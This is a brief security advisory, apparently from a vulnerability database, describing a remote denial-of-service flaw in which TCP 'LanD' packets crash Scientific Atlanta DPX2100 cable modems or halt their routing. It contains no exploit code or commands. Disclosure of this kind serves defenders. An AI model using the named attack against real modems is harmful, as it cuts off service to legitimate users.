Discussion
Scientific Atlanta DPX2100 Cable Modem LanD Packet Denial Of Service Vulnerability
Scientific Atlanta DPX2100 cable modems are prone to a denial of service vulnerability.
These devices are susceptible to a remote denial of service vulnerability when handling TCP 'LanD' packets.
This issue allows remote attackers to crash affected devices, or to temporarily block further network routing functionality. This will deny further network services to legitimate users.
Scientific Atlanta DPX2100 cable modems are reportedly affected by this issue. Due to code reuse among devices, other devices may also be affected.
